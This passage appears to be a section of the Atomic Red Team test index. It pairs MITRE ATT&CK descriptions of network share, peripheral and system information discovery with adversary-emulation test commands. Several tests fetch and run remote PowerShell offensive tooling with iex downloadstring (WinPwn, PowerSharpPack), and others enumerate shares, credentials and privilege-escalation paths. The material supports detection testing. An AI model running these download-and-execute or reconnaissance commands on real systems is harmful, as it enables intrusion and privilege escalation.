          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
      executor:
        command: |
          Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
          Invoke-ShareFinder #{parameters}
        name: powershell
    - name: WinPwn - shareenumeration
      auto_generated_guid: 987901d1-5b87-4558-a6d9-cffcabc638b8
      description: Network share enumeration using the shareenumeration function of
        WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          shareenumeration -noninteractive -consoleoutput
        name: powershell
    - name: Network Share Discovery via dir command
      auto_generated_guid: 13daa2cf-195a-43df-a8bd-7dd5ffb607b5
      description: |
        Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip
        Upon execution avalaible network shares will be displayed in the commandline session
      supported_platforms:
      - windows
      input_arguments:
        computer_ip:
          description: Computer IP to find a mount on.
          type: string
          default: 127.0.0.1
      executor:
        command: |
          dir \\#{computer_ip}\c$
          dir \\#{computer_ip}\admin$
          dir \\#{computer_ip}\IPC$
        name: command_prompt
    - name: Enumerate All Network Shares with SharpShares
      auto_generated_guid: d1fa2a69-b0a2-4e8a-9112-529b00c19a41
      description: "SharpShares is a command line tool that can be integrated with
        Cobalt Strike's execute-assembly module, allowing for the enumeration of network
        shares. \nThis technique has been utilized by various ransomware groups, including
        BianLian.\n[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)\n"
      supported_platforms:
      - windows
      input_arguments:
        output_path:
          description: File to output enumeration results to
          type: String
          default: "$env:temp\\T1135SharpSharesOutput.txt"
        sharp_path:
          description: Path to the SharpShares executable
          type: String
          default: PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe
      dependency_executor_name: powershell
      dependencies:
      - description: The SharpShares executable must exist on disk
        prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe")
          {exit 0} else {exit 1}
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/mitchmoser/SharpShares/releases/download/v2.4/SharpShares.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe"
      executor:
        command: cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"
        cleanup_command: remove-item "#{output_path}" -force -erroraction silentlycontinue
        name: powershell
        elevation_required: false
    - name: Enumerate All Network Shares with Snaffler
      auto_generated_guid: b19d74b7-5e72-450a-8499-82e49e379d1a
      description: "Snaffler is an open-source tool that has been used by various
        threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible
        shares and credential-containing files within a domain. \n[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)\n"
      supported_platforms:
      - windows
      input_arguments:
        output_path:
          description: File to output enumeration results to
          type: String
          default: "$env:temp\\T1135SnafflerOutput.txt"
        snaffler_path:
          description: Path to the Snaffler executable
          type: String
          default: PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe
      dependency_executor_name: powershell
      dependencies:
      - description: The Snaffler executable must exist on disk
        prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe")
          {exit 0} else {exit 1}
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/SnaffCon/Snaffler/releases/download/1.0.150/Snaffler.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe"
      executor:
        command: 'invoke-expression ''cmd /c start powershell -command { cmd /c "#{snaffler_path}"
          -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"''

          '
        cleanup_command: remove-item "#{output_path}" -force -erroraction silentlycontinue
        name: powershell
        elevation_required: false
  T1120:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Peripheral Device Discovery
      description: 'Adversaries may attempt to gather information about attached peripheral
        devices and components connected to a computer system.(Citation: Peripheral
        Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices
        could include auxiliary resources that support a variety of functionalities
        such as keyboards, printers, cameras, smart card readers, or removable storage.
        The information may be used to enhance their awareness of the system and network
        environment or may be used for further actions.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643
      created: '2017-05-31T21:31:28.471Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1120
        external_id: T1120
      - source_name: Peripheral Discovery Linux
        description: Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved
          March 11, 2022.
        url: https://linuxhint.com/list-usb-devices-linux/
      - source_name: Peripheral Discovery macOS
        description: SS64. (n.d.). system_profiler. Retrieved March 11, 2022.
        url: https://ss64.com/osx/system_profiler.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      identifier: T1120
    atomic_tests:
    - name: Win32_PnPEntity Hardware Inventory
      auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5
      description: Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity
      supported_platforms:
      - windows
      executor:
        command: |-
          Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
          $Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
          @($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt
        cleanup_command: Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore
        name: powershell
    - name: WinPwn - printercheck
      auto_generated_guid: cb6e76ca-861e-4a7f-be08-564caa3e6f75
      description: Search for printers / potential vulns using printercheck function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          printercheck -noninteractive -consoleoutput
        name: powershell
    - name: Peripheral Device Discovery via fsutil
      auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686
      description: Performs pheripheral device discovery utilizing fsutil to list
        all drives.
      supported_platforms:
      - windows
      executor:
        command: fsutil fsinfo drives
        name: command_prompt
  T1082:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: System Information Discovery
      description: |-
        An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

        Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Maril Vernon @shewhohacks
      - Praetorian
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather  detailed system information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Network
      x_mitre_version: '2.5'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1
      created: '2017-05-31T21:31:04.307Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1082
        external_id: T1082
      - source_name: Amazon Describe Instance
        description: Amazon. (n.d.). describe-instance-information. Retrieved March
          3, 2020.
        url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
      - source_name: Google Instances Resource
        description: 'Google. (n.d.). Rest Resource: instance. Retrieved March 3,
          2020.'
        url: https://cloud.google.com/compute/docs/reference/rest/v1/instances
      - source_name: Microsoft Virutal Machine API
        description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved
          October 8, 2019.
        url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
      - source_name: 20 macOS Common Tools and Techniques
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
      - source_name: OSX.FairyTale
        description: Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale
          | Adware Playing at Malware. Retrieved August 24, 2021.
        url: https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1082
    atomic_tests:
    - name: System Information Discovery
      auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667
      description: 'Identify System Info. Upon execution, system info and time info
        will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          systeminfo
          reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
        name: command_prompt
    - name: System Information Discovery
      auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6
      description: 'Identify System Info

        '
      supported_platforms:
      - macos
      executor:
        command: |
          system_profiler
          ls -al /Applications
        name: sh
    - name: List OS Information
      auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c
      description: 'Identify System Info

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Output file used to store the results.
          type: path
          default: "/tmp/T1082.txt"
      executor:
        command: "uname -a >> #{output_file}\nif [ -f /etc/lsb-release ]; then cat
          /etc/lsb-release >> #{output_file}; fi\nif [ -f /etc/redhat-release ]; then
          cat /etc/redhat-release >> #{output_file}; fi   \nif [ -f /etc/issue ];
          then cat /etc/issue >> #{output_file}; fi\nif [ -f /etc/os-release ]; then
          cat /etc/os-release >> #{output_file}; fi\nuptime >> #{output_file}\ncat
          #{output_file} 2>/dev/null\n"
        cleanup_command: 'rm #{output_file} 2>/dev/null

          '
        name: sh
    - name: Linux VM Check via Hardware
      auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec
      description: 'Identify virtual machine hardware. This technique is used by the
        Pupy RAT and other malware.

        '
      supported_platforms:
      - linux
      executor:
        elevation_required: true
        command: |
          if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
          if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
          if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
          if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
          if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
          if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
          if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
          if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi
        name: bash
    - name: Linux VM Check via Kernel Modules
      auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e
      description: 'Identify virtual machine guest kernel modules. This technique
        is used by the Pupy RAT and other malware.

        '
      supported_platforms:
      - linux
      executor:
        command: |
          sudo lsmod | grep -i "vboxsf\|vboxguest"
          sudo lsmod | grep -i "vmw_baloon\|vmxnet"
          sudo lsmod | grep -i "xen-vbd\|xen-vnif"
          sudo lsmod | grep -i "virtio_pci\|virtio_net"
          sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
        name: bash
        elevation_required: true
    - name: FreeBSD VM Check via Kernel Modules
      auto_generated_guid: eefe6a49-d88b-41d8-8fc2-b46822da90d3
      description: 'Identify virtual machine host kernel modules.

        '
      supported_platforms:
      - linux
      executor:
        command: |
          kldstat | grep -i "vmm"
          kldstat | grep -i "vbox"
        name: sh
    - name: Hostname Discovery (Windows)
      auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f
      description: 'Identify system hostname for Windows. Upon execution, the hostname
        of the device will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: 'hostname

          '
        name: command_prompt
    - name: Hostname Discovery
      auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133
      description: 'Identify system hostname for FreeBSD, Linux and macOS systems.

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'hostname

          '
        name: sh
    - name: Windows MachineGUID Discovery
      auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8
      description: 'Identify the Windows MachineGUID value for a system. Upon execution,
        the machine GUID will be displayed from registry.

        '
      supported_platforms:
      - windows
      executor:
        command: 'REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v
          MachineGuid

          '
        name: command_prompt
    - name: Griffon Recon
      auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370
      description: "This script emulates the reconnaissance script seen in used by
        Griffon and was modified by security researcher Kirk Sayre \nin order simply
        print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5).
        \ \nFor more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon)
        and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)"
      supported_platforms:
      - windows
      input_arguments:
        vbscript:
          description: Path to sample script
          type: string
          default: PathToAtomicsFolder\T1082\src\griffon_recon.vbs
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sample script file must exist on disk at specified location
          (#{vbscript})

          '
        prereq_command: 'if (Test-Path "#{vbscript}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}"
      executor:
        command: 'cscript "#{vbscript}"

          '
        name: powershell
        elevation_required: false
    - name: Environment variables discovery on windows
      auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3
      description: 'Identify all environment variables. Upon execution, environments
        variables and your path info will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: 'set

          '
        name: command_prompt
    - name: Environment variables discovery on freebsd, macos and linux
      auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720
      description: 'Identify all environment variables. Upon execution, environments
        variables and your path info will be displayed.

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'env

          '
        name: sh
    - name: Show System Integrity Protection status (MacOS)
      auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96
      description: 'Read and Display System Intergrety Protection status. csrutil
        is commonly used by malware and post-exploitation tools to determine whether
        certain files and directories on the system are writable or not.

        '
      supported_platforms:
      - macos
      executor:
        command: 'csrutil status

          '
        name: sh
    - name: WinPwn - winPEAS
      auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1
      description: Discover Local Privilege Escalation possibilities using winPEAS
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          winPEAS -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - itm4nprivesc
      auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce
      description: Discover Local Privilege Escalation possibilities using itm4nprivesc
        function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          itm4nprivesc -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - Powersploits privesc checks
      auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7
      description: Powersploits privesc checks using oldchecks function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          oldchecks -noninteractive -consoleoutput
        cleanup_command: |-
          rm -force -recurse .\DomainRecon -ErrorAction Ignore
          rm -force -recurse .\Exploitation -ErrorAction Ignore
          rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
          rm -force -recurse .\LocalRecon -ErrorAction Ignore
          rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
        name: powershell
    - name: WinPwn - General privesc checks
      auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed
      description: General privesc checks using the otherchecks function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          otherchecks -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - GeneralRecon
      auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8
      description: Collect general computer informations via GeneralRecon function
        of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          Generalrecon -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - Morerecon
      auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a
      description: Gathers local system information using the Morerecon function of
        WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          Morerecon -noninteractive -consoleoutput
        name: powershell
    - name: WinPwn - RBCD-Check
      auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b
      description: Search for Resource-Based Constrained Delegation attack paths using
        RBCD-Check function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          RBCD-Check -consoleoutput -noninteractive
        name: powershell
    - name: WinPwn - PowerSharpPack - Watson searching for missing windows patches
      auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107
      description: PowerSharpPack - Watson searching for missing windows patches  technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
          Invoke-watson
        name: powershell
    - name: WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors
      auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc
      description: PowerSharpPack - Sharpup checking common Privesc vectors technique
        via function of WinPwn - Takes several minutes to complete.
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
          Invoke-SharpUp -command "audit"
        name: powershell
    - name: WinPwn - PowerSharpPack - Seatbelt
      auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95
      description: |-
        PowerSharpPack - Seatbelt technique via function of WinPwn.

        [Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
          Invoke-Seatbelt -Command "-group=all"
        name: powershell
    - name: Azure Security Scan with SkyArk
      auto_generated_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594
      description: "Upon successful execution, this test will utilize a valid read-only
        Azure AD user's credentials to conduct a security scan and determine what
        users exist in a given tenant, as well as identify any admin users. \nOnce
        the test is complete, a folder will be output to the temp directory that contains
        3 csv files which provide info on the discovered users. \nSee https://github.com/cyberark/SkyArk
        \n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: 
        password:
          description: Azure AD password
          type: string
          default: T1082Az
      dependency_executor_name: powershell
      dependencies:
      - description: 'The SkyArk AzureStealth module must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"
      - description: 'The AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      - description: 'The Az module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az -Force

          '
      executor:
        command: "Import-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\AzureStealth.ps1\"
          -force      \n$Password = ConvertTo-SecureString -String \"#{password}\"
          -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential
          -ArgumentList \"#{username}\", $Password\nConnect-AzAccount -Credential
          $Credential\nConnect-AzureAD -Credential $Credential\nScan-AzureAdmins -UseCurrentCred\n"
        cleanup_command: |
          $resultstime = Get-Date -Format "yyyyMMdd"
          $resultsfolder = ("Results-" + $resultstime)
          remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue
        name: powershell
        elevation_required: true
    - name: Linux List Kernel Modules
      auto_generated_guid: 034fe21c-3186-49dd-8d5d-128b35f181c7
      description: 'Enumerate kernel modules installed 3 different ways. Upon successful
        execution stdout will display kernel modules installed on host 2 times, followed
        by list of modules matching ''vmw'' if present.

        '
      supported_platforms:
      - linux
      executor:
        command: |
          lsmod
          kmod list
          grep vmw /proc/modules
        name: sh
    - name: FreeBSD List Kernel Modules
      auto_generated_guid: 4947897f-643a-4b75-b3f5-bed6885749f6
      description: 'Enumerate kernel modules loaded. Upon successful execution stdout
        will display kernel modules loaded, followed by list of modules matching ''vmm''
        if present.

        '
      supported_platforms:
      - linux
      executor:
        command: |
          kldstat
          kldstat | grep vmm
        name: sh
    - name: System Information Discovery with WMIC
      auto_generated_guid: 8851b73a-3624-4bf7-8704-aa312411565c
      description: |
        Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.
        https://nwgat.ninja/getting-system-information-with-wmic-on-windows/
        Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:
        https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar
        https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/
      supported_platforms:
      - windows
      executor:
        command: |
          wmic cpu get name
          wmic MEMPHYSICAL get MaxCapacity
          wmic baseboard get product
          wmic baseboard get version
          wmic bios get SMBIOSBIOSVersion
          wmic path win32_VideoController get name
          wmic path win32_VideoController get DriverVersion
          wmic path win32_VideoController get VideoModeDescription
          wmic OS get Caption,OSArchitecture,Version
          wmic DISKDRIVE get Caption
          Get-WmiObject win32_bios
        name: command_prompt
    - name: System Information Discovery
      auto_generated_guid: 4060ee98-01ae-4c8e-8aad-af8300519cc7
      description: 'The script gathernetworkinfo.vbs is employed to collect system
        information such as the operating system, DNS details, firewall configuration,
        etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg.
        https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/

        '
      supported_platforms:
      - windows
      executor:
        command: 'wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs

          '
        elevation_required: true
        name: command_prompt
    - name: Check computer location
      auto_generated_guid: 96be6002-9200-47db-94cb-c3e27de1cb36
      description: |
        Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.
        - https://tria.ge/210111-eaz8mqhgh6/behavioral1
      supported_platforms:
      - windows
      executor:
        command: 'reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"

          '
        name: command_prompt
